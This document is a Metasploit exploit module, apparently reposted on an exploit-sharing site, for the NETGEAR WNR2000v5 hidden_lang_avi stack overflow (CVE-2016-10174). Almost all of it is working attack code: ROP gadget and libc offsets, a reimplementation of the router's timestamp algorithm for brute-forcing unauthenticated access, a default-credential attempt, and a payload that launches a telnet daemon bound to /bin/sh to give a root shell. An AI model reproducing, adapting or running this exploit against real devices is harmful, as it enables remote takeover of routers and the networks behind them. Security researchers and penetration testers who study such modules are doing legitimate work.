1年前 (2017-05-20)  Exploit 0day |   抢沙发  1 
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##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'time'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::CRand

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'NETGEAR WNR2000v5 (Un)authenticated hidden_lang_avi Stack Overflow',
      'Description'    => %q{
        The NETGEAR WNR2000 router has a buffer overflow vulnerability in the hidden_lang_avi
        parameter.
        In order to exploit it, it is necessary to guess the value of a certain timestamp which
        is in the configuration of the router. An authenticated attacker can simply fetch this
        from a page, but an unauthenticated attacker has to brute force it.
        Bruteforcing the timestamp token might take a few minutes, a few hours, or days, but
        it is guaranteed that it can be bruteforced.
        This module implements both modes, and it works very reliably. It has been tested with
        the WNR2000v5, firmware versions 1.0.0.34 and 1.0.0.18. It should also work with hardware
        revisions v4 and v3, but this has not been tested - with these routers it might be necessary
        to adjust the LibcBase variable as well as the gadget addresses.
      },
      'Author'         =>
        [
          'Pedro Ribeiro <[email protected]>'         # Vulnerability discovery and Metasploit module
        ],
      'License'        => MSF_LICENSE,
      'Platform'       => ['unix'],
      'References'     =>
        [
          ['CVE', '2016-10174'],
          ['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/netgear-wnr2000.txt'],
          ['URL', 'http://seclists.org/fulldisclosure/2016/Dec/72'],
          ['URL', 'http://kb.netgear.com/000036549/Insecure-Remote-Access-and-Command-Execution-Security-Vulnerability']
        ],
      'Targets'        =>
        [
          [ 'NETGEAR WNR2000v5',
            {
              'LibcBase'             => 0x2ab24000,         # should be the same offset for all firmware versions (in libuClibc-0.9.30.1.so)
              'SystemOffset'         => 0x547D0,
              'GadgetOffset'         => 0x2462C,
  #The ROP gadget will load $sp into $a0 (which will contain the system() command) and call $s0 (which will contain the address of system()):
  #LOAD:0002462C                 addiu   $a0, $sp, 0x40+arg_0
  #LOAD:00024630                 move    $t9, $s0
  #LOAD:00024634                 jalr    $t9
              'Payload'        =>
                {
                  'BadChars'         => "\x00\x25\x26",
                  'Compat'  => {
                    'PayloadType'    => 'cmd_interact',
                    'ConnectionType' => 'find',
                  },
                },
            }
          ],
        ],
      'Privileged'     => true,
      'Arch'           => ARCH_CMD,
      'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' },
      'DisclosureDate'  => 'Dec 20 2016',
      'DefaultTarget'   => 0))
    register_options(
      [
        Opt::RPORT(80),
        OptString.new('HttpUsername', [true, 'Username for the web interface (not needed but exploitation is faster)', 'admin']),
        OptString.new('HttpPassword', [true, 'Password for the web interface (not needed but exploitation is faster)', 'password']),
      ], self.class)
    register_advanced_options(
      [
        OptInt.new('TIME_OFFSET', [true, 'Maximum time differential to try', 5000]),
        OptInt.new('TIME_SURPLUS', [true, 'Increase this if you are sure the device is vulnerable and you are not getting a shell', 200])
      ], self.class)
  end

  def check
    res = send_request_cgi({
      'uri'     => '/',
      'method'  => 'GET'
    })
    if res && res.headers['WWW-Authenticate']
      auth = res.headers['WWW-Authenticate']
      if auth =~ /WNR2000v5/
        return Exploit::CheckCode::Detected
      elsif auth =~ /WNR2000v4/ || auth =~ /WNR2000v3/
        return Exploit::CheckCode::Unknown
      end
    end
    Exploit::CheckCode::Safe
  end

  def uri_encode (str)
    "%" + str.scan(/.{2}|.+/).join("%")
  end

  def calc_address (libc_base, offset)
    addr = (libc_base + offset).to_s(16)
    uri_encode(addr)
  end

  def get_current_time
    res = send_request_cgi({
      'uri'     => '/',
      'method'  => 'GET'
    })
    if res && res['Date']
      date = res['Date']
      return Time.parse(date).strftime('%s').to_i
    end
  end

  def get_auth_timestamp
    res = send_request_raw({
      'uri'     => '/lang_check.html',
      'method'  => 'GET',
      # automatically uses HttpPassword and HttpUsername to authenticate
    })
    if res && res.code == 401
      # try again, might fail the first time
      res = send_request_raw({
        'uri'     => '/lang_check.html',
        'method'  => 'GET',
      # automatically uses HttpPassword and HttpUsername to authenticate
      })
    end
    if res && res.code == 200
      if res.body =~ /timestamp=([0-9]{8})/
        $1.to_i
      end
    end
  end

  # Do some crazyness to force Ruby to cast to a single-precision float and
  # back to an integer.
  # This emulates the behaviour of the soft-fp library and the float cast
  # which is done at the end of Netgear's timestamp generator.
  def ieee754_round (number)
    [number].pack('f').unpack('f*')[0].to_i
  end


  # This is the actual algorithm used in the get_timestamp function in
  # the Netgear firmware.
  def get_timestamp(time)
    srandom_r time
    t0 = random_r
    t1 = 0x17dc65df;
    hi = (t0 * t1) >> 32;
    t2 = t0 >> 31;
    t3 = hi >> 23;
    t3 = t3 - t2;
    t4 = t3 * 0x55d4a80;
    t0 = t0 - t4;
    t0 = t0 + 0x989680;

    ieee754_round(t0)
  end

  def get_payload
    rand_text_alpha(36) +                                                                    # filler_1
      calc_address(target['LibcBase'], target['SystemOffset']) +                             # s0
      rand_text_alpha(12) +                                                                  # s1, s2 and s3
      calc_address(target['LibcBase'], target['GadgetOffset']) +                             # gadget
      rand_text_alpha(0x40) +                                                                # filler_2
      "killall telnetenable; killall utelnetd; /usr/sbin/utelnetd -d -l /bin/sh"             # payload
  end

  def send_req(timestamp)
    begin
      uri_str = (timestamp == nil ? \
        "/apply_noauth.cgi?/lang_check.html" : \
        "/apply_noauth.cgi?/lang_check.html%20timestamp=#{timestamp.to_s}")
      res = send_request_raw({
          'uri'     => uri_str,
          'method'  => 'POST',
          'headers' => { 'Content-Type' => 'application/x-www-form-urlencoded' },
          'data'    => "submit_flag=select_language&hidden_lang_avi=#{get_payload}"
      })
    rescue ::Errno::ETIMEDOUT, ::Errno::ECONNRESET, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e
      return
    end
  end

  def exploit
    # 1: try to see if the default admin username and password are set
    timestamp = get_auth_timestamp

    # 2: now we try two things at once:
    # one, if the timestamp is not nil then we got an authenticated timestamp, let's try that
    # two, if the timestamp is nil, then let's try without timestamp first (the timestamp only gets set if the user visited the page before)
    print_status("#{peer} - Trying the easy way out first")
    send_req(timestamp)
    begin
      ctx = { 'Msf' => framework, 'MsfExploit' => self }
      sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => 23, 'Context' => ctx, 'Timeout' => 10 })
      if not sock.nil?
        print_good("#{peer} - Success, shell incoming!")
        return handler(sock)
      end
    rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e
      sock.close if sock
    end

    print_bad("#{peer} - Well that didn't work... let's do it the hard way.")

    # no shell? let's just go on and bruteforce the timestamp
    # 3: get the current date from the router and parse it
    end_time = get_current_time
    if end_time.nil?
      fail_with(Failure::Unknown, "#{peer} - Unable to obtain current time")
    end
    if end_time <= datastore['TIME_OFFSET']
      start_time = 0
    else
      start_time = end_time - datastore['TIME_OFFSET']
    end
    end_time += datastore['TIME_SURPLUS']

    if end_time < (datastore['TIME_SURPLUS'] * 7.5).to_i
      end_time = (datastore['TIME_SURPLUS'] * 7.5).to_i
    end

    print_good("#{peer} - Got time #{end_time} from router, starting exploitation attempt.")
    print_status("#{peer} - Be patient, this might take a long time (typically a few minutes, but it might take hours).")

    # 2: work back from the current router time minus datastore['TIME_OFFSET']
    while true
      for time in end_time.downto(start_time)
        timestamp = get_timestamp(time)
        sleep 0.1
        if time % 400 == 0
          print_status("#{peer} - Still working, trying time #{time}")
        end
        send_req(timestamp)
        begin
          ctx = { 'Msf' => framework, 'MsfExploit' => self }
          sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => 23, 'Context' => ctx, 'Timeout' => 10 })
          if sock.nil?
            next
          end
          print_status("#{peer} - Success, shell incoming!")
          return handler(sock)
        rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e
          sock.close if sock
          next
        end
      end
      end_time = start_time
      start_time -= datastore['TIME_OFFSET']
      if start_time < 0
        if end_time <= datastore['TIME_OFFSET']
          fail_with(Failure::Unknown, "#{peer} - Exploit failed.")
        end
        start_time = 0
      end
      print_status("#{peer} - Going for another round, finishing at #{start_time} and starting at #{end_time}")

      # let the router clear the buffers a bit...
      sleep 30
    end
  end
end




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